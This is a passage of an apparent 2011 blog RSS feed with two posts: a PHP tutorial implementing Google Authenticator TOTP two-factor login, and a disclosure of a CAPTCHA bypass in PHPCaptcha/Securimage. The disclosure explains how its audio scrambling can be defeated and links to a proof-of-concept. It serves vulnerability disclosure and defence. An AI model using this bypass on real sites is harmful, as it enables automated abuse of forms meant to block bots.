		<comments>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/#comments</comments>
		<pubDate>Mon, 25 Jul 2011 09:26:24 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Google Authenticator]]></category>
		<category><![CDATA[Hardening]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Two-factor]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=486</guid>
		<description><![CDATA[At the beginning of the year Google released 2 Factor Authentication (2FA) for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA &#8230; <a href="http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">At the beginning of the year <a href="https://www.google.com/support/accounts/bin/static.py?page=guide.cs&#038;guide=1056283&#038;topic=1056284" title="Google 2FA explained" target="_blank" rel="nofollow">Google released 2 Factor Authentication (2FA)</a> for G-Mail providing an application for Android, IPhone and Blackberry called Google Authenticator to generate one time login tokens. This post will show how to implement Google 2FA to protect web applications from stolen credentials.</p>
<p><img src="/wp-content/uploads/2011/07/googleauthenticator1.png" alt="" title="Google Authenticator" width="174" height="174" class="alignleft size-full wp-image-536" /></p>
<p style="text-align: justify;">Google Authenticator is based on <a title="RFC 4226" href="http://www.ietf.org/rfc/rfc4226.txt" rel="nofollow" target="_blank">RFC 4226</a> &#8211; a Time based One Time Password (TOTP) which is initialised using a 16 digit base 32  (<a title="RFC 4648" rel="nofollow" href="http://tools.ietf.org/html/rfc4648" target="_blank">RFC 4648</a>) encoded seed value. Initial seeds used for the TOTP can be entered into the Google Authenticator via a camera using QR codes or via the keyboard. Google has also provided <a title="Google PAM module 2FA" href="https://code.google.com/p/google-authenticator/wiki/PamModuleInstructions" target="_blank" rel="nofollow">a PAM module</a> allowing users to integrate 2FA for sshd.</p>
<p style="text-align: justify;">A module can be written to support the Google TOTP in any language &#8211; the only caveat with writing a library for PHP is a lack of an RFC 4648 compliant base 32 decoding function. A base 32 function is needed to decode the initial seed. This is probably the most tricky part of implementing Google&#8217;s 2FA. The following function can be used:</p>
<pre class="brush: php; title: ; notranslate">
function base32_decode($b32) {
  $lut = array(&quot;A&quot; =&gt; 0,       &quot;B&quot; =&gt; 1,
               &quot;C&quot; =&gt; 2,       &quot;D&quot; =&gt; 3,
               &quot;E&quot; =&gt; 4,       &quot;F&quot; =&gt; 5,
               &quot;G&quot; =&gt; 6,       &quot;H&quot; =&gt; 7,
               &quot;I&quot; =&gt; 8,       &quot;J&quot; =&gt; 9,
               &quot;K&quot; =&gt; 10,      &quot;L&quot; =&gt; 11,
               &quot;M&quot; =&gt; 12,      &quot;N&quot; =&gt; 13,
               &quot;O&quot; =&gt; 14,      &quot;P&quot; =&gt; 15,
               &quot;Q&quot; =&gt; 16,      &quot;R&quot; =&gt; 17,
               &quot;S&quot; =&gt; 18,      &quot;T&quot; =&gt; 19,
               &quot;U&quot; =&gt; 20,      &quot;V&quot; =&gt; 21,
               &quot;W&quot; =&gt; 22,      &quot;X&quot; =&gt; 23,
               &quot;Y&quot; =&gt; 24,      &quot;Z&quot; =&gt; 25,
               &quot;2&quot; =&gt; 26,      &quot;3&quot; =&gt; 27,
               &quot;4&quot; =&gt; 28,      &quot;5&quot; =&gt; 29,
               &quot;6&quot; =&gt; 30,      &quot;7&quot; =&gt; 31
  );

  $b32    = strtoupper($b32);
  $l      = strlen($b32);
  $n      = 0;
  $j      = 0;
  $binary = &quot;&quot;;

  for ($i = 0; $i &lt; $l; $i++) {

       $n = $n &lt;&lt; 5;
       $n = $n + $lut[$b32[$i]];       
       $j = $j + 5;

       if ($j &gt;= 8) {
           $j = $j - 8;
           $binary .= chr(($n &amp; (0xFF &lt;&lt; $j)) &gt;&gt; $j);
       }
  }

  return $binary;
}
</pre>
<p style="text-align: justify;">This binary seed value will be used in a SHA1 hash along with the current Unix time-stamp to generate one time tokens. The Unix time-stamp is divided by 30 so that the one time password changes every 30 seconds.</p>
<pre class="brush: php; title: ; notranslate">
function get_timestamp() {
   return floor(microtime(true)/30);
}
</pre>
<p style="text-align: justify;">Sadly you cant just pass the number from get_timestamp straight into the sha1 function. The time-stamp first needs to be reduced into a binary string of 8 bytes. Since pack doesn&#8217;t support 64bit integers we use two unsigned 32 bit integers to make up the binary form.</p>
<pre class="brush: php; title: ; notranslate">
$binary_timestamp = pack('N*', 0) . pack('N*', $timestamp);
</pre>
<p style="text-align: justify;">Once you have the binary seed and the binary timestamp you have to pass them into the &#8220;hash_mhac&#8221; function. This gives you a 20 byte sha1 string.</p>
<pre class="brush: php; title: ; notranslate">
$hash = hash_hmac ('sha1', $binary_timestamp, $binary_key, true);
</pre>
<p style="text-align: justify;">This hash is then processed in accordance with RFC 4226 to obtain the one time password.</p>
<pre class="brush: php; title: ; notranslate">
$offset = ord($hash[19]) &amp; 0xf;

$OTP = (
   ((ord($hash[$offset+0]) &amp; 0x7f) &lt;&lt; 24 ) |
    ((ord($hash[$offset+1]) &amp; 0xff) &lt;&lt; 16 ) |
    ((ord($hash[$offset+2]) &amp; 0xff) &lt;&lt; 8 ) |
    (ord($hash[$offset+3]) &amp; 0xff)
   ) % pow(10, 6);
</pre>
<p style="text-align: justify;">Now $OTP should contain your one time password. There are however still a couple of small issues to overcome if you want to use this within an application:</p>
<ul>
<li>
<p style="text-align: justify;">Your client and server clocks may not be in sync &#8211; this could means that when you come to check your token generated by the user that it will fail. To combat this a you can either stipulate that the client and server clocks must be in perfect sync or you need to create a function which checks the tokens against those +/- 2 minutes of the current server time. This will allow your client and server to be up to 2 minutes out but obviously increases the chance that an attacker could correctly guess a one time token.</p>
</li>
<li>
<p style="text-align: justify;">If there is no upper limit on the number of attempts a user can make at guessing a token it may be possible to brute-force the one-time token.
</p>
</li>
<li>
<p style="text-align: justify;">If the seed is too small and an attacker can intercept a few tokens it may be possible to brute-force the seed value allowing the attacker to generate new one-time tokens. For this reason Google enforces a minimum seed length of 16 characters or 80-bits.</p>
</li>
<li>
<p style="text-align: justify;">If a token is not marked as invalid as soon as it has been used an attacker who has intercepted the token may be able to quickly replay it to obtain access.</li>
</ul>
<div id="attachment_526" class="wp-caption alignright" style="width: 210px"><img src="/wp-content/uploads/2011/07/PEHMPSDNLXIOG65U.png" alt="Google Authenticator: Seed value &#039;PEHMPSDNLXIOG65U&#039;" title="PEHMPSDNLXIOG65U" width="200" height="200" class="size-full wp-image-526" /><p class="wp-caption-text">Seed value &#039;PEHMPSDNLXIOG65U&#039;</p></div>
<p style="text-align: justify;"><a href="/wp-content/uploads/2011/07/ga.php_.txt">A class for PHP that implements Google TOTP can be downloaded here</a>. Its missing protection against brute-force attacks but otherwise fully functional.</p>
<p style="text-align: justify;">You can check if its working by installing the Google Authenticator application and scanning the QR code to the right &#8211; codes generated by the application should match codes generated by the class. The function Google2FA::verify_key should be used to validate the users one time token as it allows the clients clock to drift either side of the server time by 2 minutes.</p>
<p style="text-align: justify;">Custom QR codes can be generated using the Google QR generator at https://www.google.com/chart?chs=200&#215;200&#038;chld=M|0&#038;cht=qr&#038;chl=otpauth://totp/idontplaydarts?secret=SECRETVALUEHERE</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/07/google-totp-two-factor-authentication-for-php/feed/</wfw:commentRss>
		<slash:comments>25</slash:comments>
		</item>
		<item>
		<title>Exploit: PHPCaptcha / Securimage is not secure.</title>
		<link>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/</link>
		<comments>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/#comments</comments>
		<pubDate>Wed, 25 May 2011 10:00:20 +0000</pubDate>
		<dc:creator>Phil</dc:creator>
				<category><![CDATA[Exploits]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[CAPTCHA]]></category>
		<category><![CDATA[Design Flaw]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://www.idontplaydarts.com/?p=307</guid>
		<description><![CDATA[Recently I discovered an easy way to bypass PHPCaptcha also known as SecurImage. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit &#8230; <a href="http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Recently I discovered an easy way to bypass <a href="http://www.phpcaptcha.org/" rel="nofollow">PHPCaptcha also known as SecurImage</a>. The method described below will break the CAPTCHA every time, without fail and affects versions 1.0.4 and above. Previous versions are also probably vulnerable tho only exploit code for the MP3 file format (implemented as default since version 2.0.0) is provided.</p>
<p style="text-align: justify;">The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via <a href="https://www.owasp.org/index.php/Forced_browsing" rel="nofollow">forceful browsing</a> to the file called &#8220;/securimage_play.php&#8221;. This means that unless the administrator of the site has removed the securimage_play.php file that their site is vulnerable to attack.</p>
<p style="text-align: justify;">The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory). To prevent simple binary analysis of the output the author randomly changes the value of every 64th byte in the generated audio file starting from an initial offset that is also defined by a random integer in the range 1-64. The effect of the mutation means that when you listen to the audio its very hard to determine what letters are being heard. The code used for the mutation is shown below:</p>
<pre class="brush: php; title: ; notranslate">
    function scrambleAudioData(&amp;$data, $format)
    {
        if ($format == 'wav') {
            $start = strpos($data, 'data') + 4;
            if ($start === false) $start = 44; 
        } else { // mp3
            $start = 4;
        }

        $start  += rand(1, 64); 
        $datalen = strlen($data) - $start - 256;
         
        for ($i = $start; $i &lt; $datalen; $i += 64) {
            $ch = ord($data{$i});
            if ($ch &lt; 9 || $ch &gt; 119) continue;

            $data{$i} = chr($ch + rand(-8, 8));
        }
    }
</pre>
<p style="text-align: justify;">While this prevents simple binary analysis of the generated audio it does not prevent an attacker from building a list of 64 byte strings from the publicly accessible audio samples and using these in comparison against the concatenated audio file. By determining where in the file these strings occur its possible to decode the CAPTCHA with a 100% success rate. The decision by the author to change only the 64th byte of the final audio file is a fatal design flaw.</p>
<p style="text-align: justify;">You can <a href='http://www.idontplaydarts.com/wp-content/uploads/2011/05/POC-explot.zip'>download the PHPCaptcha exploit</a> capable of decoding the MP3 CAPTCHA format. It is currently configured to run against the &#8220;sample_form.php&#8221; script that comes by default with SecurImage / PHPCaptcha. Below is a video of the exploit running:</p>
<p><object style="height: 390px; width: 640px"><param name="movie" value="http://www.youtube.com/v/qqfk_Jt-pnw?version=3"><param name="allowFullScreen" value="true"><param name="allowScriptAccess" value="always"><embed src="http://www.youtube.com/v/qqfk_Jt-pnw?version=3" type="application/x-shockwave-flash" allowfullscreen="true" allowScriptAccess="always" width="640" height="390"></object></p>
<p style="text-align: justify;">No fix is currently available from the author. The only current solution is to remove the securimage_play.php script from your site.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.idontplaydarts.com/2011/05/exploit-phpcaptcha-securimage/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
	</channel>
</rss>
<!-- This Quick Cache file was built for (  www.idontplaydarts.com/feed/ ) in 0.45264 seconds, on May 24th, 2013 at 8:42 am UTC. -->
<!-- This Quick Cache file will automatically expire ( and be re-built automatically ) on May 25th, 2013 at 8:42 am UTC -->
<!-- +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ -->
<!-- Quick Cache Is Fully Functional :-) ... A Quick Cache file was just served for (  www.idontplaydarts.com/feed/ ) in 0.00071 seconds, on May 24th, 2013 at 5:12 pm UTC. -->